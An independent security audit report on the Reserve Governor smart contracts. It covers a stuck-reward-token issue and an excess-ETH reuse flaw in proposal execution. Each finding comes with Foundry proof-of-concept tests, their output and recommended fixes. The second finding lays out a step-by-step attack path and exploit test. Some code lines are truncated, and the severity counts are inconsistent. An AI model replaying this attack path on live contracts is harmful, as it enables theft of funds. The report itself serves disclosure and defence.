

Security Review Report

Protocol: Reserve Governor

Auditor: Hari

Date: May 2026

Github Link : <https://github.com/reserve-protocol/reserve-governor>

Disclaimer

This review was conducted independently for research and portfolio purposes and was not commissioned by the protocol.

Table of Contents

1. [Executive Summary](#)
2. [Scope](#)
3. [Methodology](#)
4. [Findings Summary](#)
5. [Detailed Findings](#)
6. [Conclusion](#)

Executive Summary

Overview

Reserve Governor is a governance system that enables fast optimistic proposal execution and standard governance voting through a shared timelock. It includes a community veto mechanism and proposer rate limiting to balance efficiency and security.

Audit Statistics

Lines of Code - 1500 to 1600

Duration - 1 week

Medium Findings - 1

Low Findings - 1

Scope

Contracts Reviewed

./src

Methodology

The review was performed using:

Manual Review

Line-by-line analysis of contract logic.

Access Control Analysis

Verification of privileged functions and role restrictions.

State Transition Analysis

Review of state changes and storage consistency.

Economic Analysis

Evaluation of reward distribution and incentive mechanisms.

Edge Case Testing

Analysis of unusual user behavior and protocol states.

Findings Summary

High - 1

None

Medium - 1

[M-1: Removing reward token with existing balance leads to permanent fund loss](#)

Low - 1

[L-1 Unrestricted `msg.value` in proposal execution allows reuse of excess ETH from previous executions](#)

Detailed Findings

[M-1] Removing reward token with Existing balance leads to Permanent fund loss

Description

The `removeRewardToken` function in `stackingVault` does not validate whether the vault holds a non-zero balance of the reward token before removal, also no transfer any remaining balance to an authorized address as a result if a reward token is removed while funds still held in the contract those tokens may become permanently stuck.

additionally, once a reward token is removed, it is marked as disallowed

```
disallowedRewardTokens[_rewardToken] = true
```

preventing it from being re-added. this introduces a risk where an accidental removal by an account with DEFAULT_ADMIN_ROLE cannot be reversed, leaving any existing balance unrecoverable.

Furthermore, user can directly transfer reward tokens to the contract. since there is no recovery function for unsupported or mistakenly sent tokens, those funds also become permanently locked.

Impact

1. If a reward token is removed while the vault still holds a balance, those tokens can become permanently inaccessible due to the lack of a recovery mechanism
2. Once removed, a reward token is marked as disallowed and cannot be re-added. Any accidental removal by an account with DEFAULT_ADMIN_ROLE cannot be undone
3. If the affected reward token increases in value, the economic impact of the locked funds may become more significant

Proof of code

The following test demonstrates that reward tokens held by the StakingVault can become stuck after being removed via `removeRewardToken`, without any recovery mechanism

```
function testRewardTokenBecomesIrrecoverableAfterRemoval() public {
    // Deploy a mock reward token
    MockERC20 rewardToken = new MockERC20("Reward Token1", "REWARDTOKEN1");

    // Register and enable reward token in the system
    _registerRewardToken(address(rewardToken));

    vm.prank (address(timelock));

    vault.addRewardToken(address(rewardToken));

    // Simulate vault holding reward tokens (e.g., leftover rewards or accide
    rewardToken.mint(address(vault), 1000 * 1e18);

    // Remove reward token from vault configuration
```

```
vm.prank(address(timelock));
vault.removeRewardToken(address(rewardToken));

// Verify token is marked as disallowed
assertTrue(vault.disallowedRewardTokens (address(rewardToken)));
// Observe that tokens still remain stuck in the vault
console2.log("Stuck reward token balance in vault:", rewardToken.balanceOf(
    address(vault)
));
}
```

Run test code : `forge test --mt testRewardTokenBecomesIrrecoverableAfterRemoval -vvv`

Result::

[PASS] testRewardTokenBecomesIrrecoverableAfterRemoval()(gas: 640126)

Logs:

Stuck reward token balance in vault: 1000000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.96ms(1.06ms CPU time)

Recommendation

Before removing a reward token, the contract should transfer any existing balance of that token in the vault to an authorized address to prevent funds from becoming stuck

Also, instead of directly setting

```
disallowedRewardTokens[ rewardToken] = true
```

consider using a safer boolean-based control with proper validation or a reversible mechanism to avoid permanent accidental disabling of reward tokens

Outcome

This issue was independently identified during review. The submission was later deemed ineligible because the same issue had already been documented by the project team prior to judging.

[L-1]Unrestricted `msg.value` in proposal execution allows reuse of excess eth from

previous executions

summary

The protocol does not validate that `msg.value` matches the required `values[]` during proposal execution, allowing excess eth to remain in the timelock

this enables subsequent proposal executors to reuse leftover ETH , allowing them to execute proposals without supplying their own funds.

Root cause

in `Governor.sol` `_executeOperations` forwards the full `msg.value` to the timelock

there is no validation ensuring:

```
msg.value == sum(values)
```

As a result , any excess ETH sent during execution remains stored in the timelock.

Attack Path

1. Attacker(bob) creates a proposal requiring eth (eg. 0.5 ETH)
2. bob waits without executing
3. Another user (Alice) executes a different proposal but sends excess ETH (eg , 1 ETH for a 0.1 ETH action)
4. The extra ETH (0.9 ETH) remains in the timelock
5. Bob executes his proposal
6. Bob's proposal uses the stored ETH , allowing execution without Bob providing funds

Impact

1. Unauthorized reuse of ETH from previous executions
2. Users who overpay during execution unintentionally subsidize others
3. Exploitability: Easy (no restrictions on msg.value)

Severity reasoning

this should be considered medium because it allows attackers to execute value-bearing proposals using funds they did not provide, leading to indirect fund misuse.

Recommendation

to fix this issue:

```
require(msg.value == sum(values) , Incorrect ETH supplied)
```

or Refund excess ETH to sender

Proof of code

Alice executes proposal with 1 ETH while only 0.1 ETH is required

0.9 ETH remains in timelock

Bob executes proposal requiring 0.5 ETH

Bob provides 0 ETH, but proposal succeeds using stored funds

Result:

Bob executes a funded proposal without spending his own ETH

```
function test_ExcessETHCanBeReusedByLaterProposal() public {
    address attackerTarget = makeAddr("attackerTarget");
    address eoaTarget = makeAddr("eoaTarget");

    vm.deal(alice, 1 ether);

    // ===== PROPOSAL 1 (BOB) =====
```

```

address[] memory targetsBob;
uint256[] memory valuesBob;
bytes[] memory calldatasBob;
string memory descriptionBob;
bytes32 descriptionHashBob;
uint256 proposalIdBob;

(targetsBob, valuesBob, calldatasBob) =
    _singleCall(attackerTarget, 0.5 ether, bytes(""));

descriptionBob = "Send ETH to Pool";

vm.prank(bob);
proposalIdBob = governor.propose(targetsBob, valuesBob, calldatasBob,

_warpToActive(proposalIdBob);

vm.prank(alice);
governor.castVote(proposalIdBob, 1);

vm.prank(bob);
governor.castVote(proposalIdBob, 1);

_warpPastDeadline(proposalIdBob);

descriptionHashBob = keccak256(bytes(descriptionBob));
governor.queue(targetsBob, valuesBob, calldatasBob, descriptionHashBc

// ===== PROPOSAL 2 (ALICE) =====
address[] memory targetsAlice;
uint256[] memory valuesAlice;
bytes[] memory calldatasAlice;
string memory descriptionAlice;
bytes32 descriptionHashAlice;
uint256 proposalIdAlice;

(targetsAlice, valuesAlice, calldatasAlice) =
    _singleCall(eoaTarget, 0.1 ether, bytes(""));

descriptionAlice = "Send ETH to EOA";

vm.prank(alice);
proposalIdAlice = governor.propose(targetsAlice, valuesAlice, calldat

```

```

    _warpToActive(proposalIdAlice);

    vm.prank(alice);
    governor.castVote(proposalIdAlice, 1);

    vm.prank(bob);
    governor.castVote(proposalIdAlice, 1);

    _warpPastDeadline(proposalIdAlice);

    descriptionHashAlice = keccak256(bytes(descriptionAlice));
    governor.queue(targetsAlice, valuesAlice, calldatasAlice, descriptionHashAlice);

    // ===== EXECUTION =====
    vm.warp(block.timestamp + TIMELOCK_DELAY + 1);

    // Execute ALICE proposal
    vm.prank(alice);
    governor.execute{value: 1 ether}(targetsAlice, valuesAlice, calldatasAlice, descriptionHashAlice);

    assertEq(address(timelock).balance, 0.9 ether);
    assertEq(address(eoaTarget).balance, 0.1 ether);
    assertEq(address(bob).balance, 0);

    // Execute BOB proposal
    vm.prank(bob);
    governor.execute(targetsBob, valuesBob, calldatasBob, descriptionHashBob);

    assertEq(address(attackerTarget).balance, 0.5 ether);
    assertEq(address(timelock).balance, 0.4 ether);

}

```

Run this test code

```
forge test --mt test_ExcessETHCanBeReusedByLaterProposal
```

Result:

```

root@LAPTOP-6DCGCU3B:~/reserve-governor# forge test --mt test_ExcessETHCa
[ ] Compiling...

```

```
[ ] Compiling 1 files with Solc 0.8.33
[ ] Solc 0.8.33 finished in 26.67s
Compiler run successful!
```

```
Ran 1 test for test/ReserveOptimisticGovernor.t.sol:ReserveOptimisticGove
[PASS] test_ExcessETHCanBeReusedByLaterProposal() (gas: 765289)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.58ms (3.2
```

```
Ran 1 test for test/ReserveOptimisticGovernor.t.sol:ReserveOptimisticGove
[PASS] test_ExcessETHCanBeReusedByLaterProposal() (gas: 765289)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.89ms (2.6
```

```
Ran 2 test suites in 33.31ms (31.46ms CPU time): 2 tests passed, 0 failed
root@LAPTOP-6DCGCU3B:~/reserve-governor#
```

Outcome

This issue was independently identified during a competitive security review and was ultimately classified as a Low severity finding.

Conclusion

The review covered governance proposal execution, voting and veto mechanisms, timelock operations, access control, proposal throttling, and potential attack surfaces within the Reserve Governor contract.